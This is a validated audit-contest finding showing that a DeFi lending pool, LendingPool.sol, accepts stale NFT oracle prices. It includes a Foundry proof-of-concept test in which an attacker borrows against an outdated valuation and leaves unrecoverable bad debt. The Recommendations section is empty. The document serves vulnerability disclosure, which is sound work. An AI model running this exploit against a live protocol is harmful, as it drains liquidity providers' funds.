Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Lack of stale price check can lead to bad debt in Lendingpool.sol

Summary

LendingPool.sol contains a critical vulnerability related to stale price data usage in its collateral valuation system. It fails to validate the freshness of price data from the oracle, allowing users to exploit outdated prices to create bad debt positions. This vulnerability is particularly dangerous because:

  • Users can borrow against collateral values that no longer reflect market reality

  • The system accepts NFT deposits and calculates borrowing power using potentially outdated price data

  • When prices are finally updated, positions can become severely underwater

  • The liquidation mechanism becomes ineffective because the collateral value is less than the borrowed amount

  • This creates unrecoverable bad debt in the protocol

Imagine getting a loan on your house using its value from 5 years ago, even though the current market price has dropped significantly. The bank would be giving you more money than your house is actually worth, creating a risky situation where you owe more than your collateral is worth.

Vulnerability Details

Price Oracle Implementation:

function getNFTPrice(uint256 tokenId) public view returns (uint256) {
(uint256 price, uint256 lastUpdateTimestamp) = priceOracle.getLatestPrice(tokenId);
if (price == 0) revert InvalidNFTPrice();
return price; // No staleness check on lastUpdateTimestamp
}

Deposit and Borrow Flow:

function depositNFT(uint256 tokenId) external nonReentrant whenNotPaused {
// Accepts NFT without checking price freshness
UserData storage user = userData[msg.sender];
user.nftTokenIds.push(tokenId);
user.depositedNFTs[tokenId] = true;
}
function borrow(uint256 amount) external nonReentrant whenNotPaused {
uint256 collateralValue = getUserCollateralValue(msg.sender);
// Uses potentially stale prices for collateral valuation
if (collateralValue.percentMul(liquidationThreshold) < amount) {
revert InsufficientCollateral();
}
}

Proof of code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../../../../../contracts/core/pools/LendingPool/LendingPool.sol";
import "../../../../../contracts/core/tokens/RToken.sol";
import "../../../../../contracts/core/tokens/DebtToken.sol";
import "../../../../../contracts/core/tokens/RAACNFT.sol";
import "../../../../../contracts/core/primitives/RAACHousePrices.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
// Add after imports
interface ILendingPoolErrors {
error DebtNotZero();
error Unauthorized();
error GracePeriodNotExpired();
}
contract MockERC20 is ERC20 {
constructor() ERC20("Mock Token", "MOCK") {
_mint(msg.sender, 1000000 ether);
}
}
contract LendingPoolTest is Test, ILendingPoolErrors {
LendingPool public lendingPool;
RToken public rToken;
DebtToken public debtToken;
RAACNFT public nft;
RAACHousePrices public priceOracle;
MockERC20 public mockToken;
address owner = address(1);
address user = address(2);
address oracle = address(3);
address attacker = address(4);
address liquidator = address(5);
address stabilityPool = address(6);
event NFTDeposited(address indexed user, uint256 indexed tokenId);
event NFTWithdrawn(address indexed user, uint256 indexed tokenId);
uint256 constant LIQUIDATION_GRACE_PERIOD = 1 days; // Match value from LendingPool
function setUp() public {
// Deploy mock token
mockToken = new MockERC20();
// Transfer initial tokens
deal(address(mockToken), address(this), 10000 ether);
deal(address(mockToken), user, 1000 ether);
vm.startPrank(owner);
// Deploy price oracle
priceOracle = new RAACHousePrices(owner);
priceOracle.setOracle(oracle);
// Deploy NFT
nft = new RAACNFT(address(mockToken), address(priceOracle), owner);
// Deploy tokens and pool
rToken = new RToken("RToken", "RT", owner, address(mockToken));
debtToken = new DebtToken("DebtToken", "DT", owner);
lendingPool = new LendingPool(
address(mockToken),
address(rToken),
address(debtToken),
address(nft),
address(priceOracle),
1e27
);
// Setup permissions
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
// Give owner tokens and deposit
deal(address(mockToken), owner, 1000 ether);
mockToken.approve(address(lendingPool), 1000 ether);
lendingPool.deposit(1000 ether);
// Set stability pool
lendingPool.setStabilityPool(stabilityPool);
vm.stopPrank(); // Stop the owner prank session
}
function testStalePriceManipulationBadDebt() public {
// Setup initial state
uint256 initialPrice = 100 ether;
uint256 borrowAmount = 70 ether;
// Give attacker initial tokens to mint NFT
deal(address(mockToken), attacker, initialPrice);
// 1. Oracle sets initial legitimate price
vm.prank(oracle);
priceOracle.setHousePrice(1, initialPrice);
// 2. Time passes, market conditions change but price isn't updated
// Protocol doesn't check for stale prices!
vm.warp(block.timestamp + 30 days);
// 3. Attacker exploits stale price
vm.startPrank(attacker);
mockToken.approve(address(nft), initialPrice);
nft.mint(1, initialPrice);
nft.approve(address(lendingPool), 1);
// depositNFT() uses stale price for collateral value
lendingPool.depositNFT(1); // Accepts 100 ETH valuation
// borrow() calculates maxBorrow using stale price
// maxBorrow = 100 ETH * 0.7 = 70 ETH
lendingPool.borrow(borrowAmount);
vm.stopPrank();
// 4. Oracle finally updates to real market price
vm.prank(oracle);
priceOracle.setHousePrice(1, 50 ether); // Real market value
// 5. Show position is underwater
uint256 healthFactor = lendingPool.calculateHealthFactor(attacker);
assertLt(healthFactor, lendingPool.healthFactorLiquidationThreshold());
// 6. Liquidation Process
// First initiate liquidation
vm.prank(liquidator);
lendingPool.initiateLiquidation(attacker);
// Attacker can't close liquidation because debt > dust threshold
vm.startPrank(attacker);
vm.expectRevert(DebtNotZero.selector);
lendingPool.closeLiquidation();
vm.stopPrank();
// Wait for grace period to expire
vm.warp(block.timestamp + LIQUIDATION_GRACE_PERIOD + 1 days);
// Try to finalize liquidation from stability pool
vm.startPrank(stabilityPool);
vm.expectRevert(GracePeriodNotExpired.selector);
lendingPool.finalizeLiquidation(attacker);
vm.stopPrank();
// 7. Show bad debt exists and can't be recovered
uint256 collateralValue = 50 ether; // Real value
uint256 totalDebt = borrowAmount; // 70 ETH borrowed
assertTrue(totalDebt > collateralValue);
// Protocol is stuck because:
// 1. Used stale price for collateral valuation
// 2. Allowed borrow based on stale price
// 3. User can't close liquidation (debt too high)
// 4. Only stability pool can finalize
// 5. No incentive to liquidate (20 ETH loss)
}
}

The test demonstrates the exploit path:

  • Initial Setup:

// Oracle sets initial price at 100 ETH
priceOracle.setHousePrice(1, 100 ether);
// Time passes (30 days) without price updates
vm.warp(block.timestamp + 30 days);

Exploit Execution:

// Attacker deposits NFT at stale high price
lendingPool.depositNFT(1);
// Borrows 70 ETH against 100 ETH valuation
lendingPool.borrow(70 ether);
// Price updates to real value of 50 ETH
priceOracle.setHousePrice(1, 50 ether);

Result:

  • Collateral value: 50 ETH

  • Borrowed amount: 70 ETH

  • Position is underwater by 20 ETH

  • Cannot be liquidated effectively due to insufficient collateral value

Impact

Financial Impact:

  • Protocol suffers unrecoverable bad debt

  • Liquidity providers lose funds

  • System becomes undercollateralized

Protocol Solvency:

  • Accumulation of bad debt

  • Inability to maintain proper collateralization ratios

  • Risk of protocol bankruptcy

Tools Used

Recommendations

Implement Price Freshness Check:

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::getNFTPrice or getPrimeRate doesn't validate timestamp staleness despite claiming to, allowing users to exploit outdated collateral values during price drops

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::getNFTPrice or getPrimeRate doesn't validate timestamp staleness despite claiming to, allowing users to exploit outdated collateral values during price drops

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.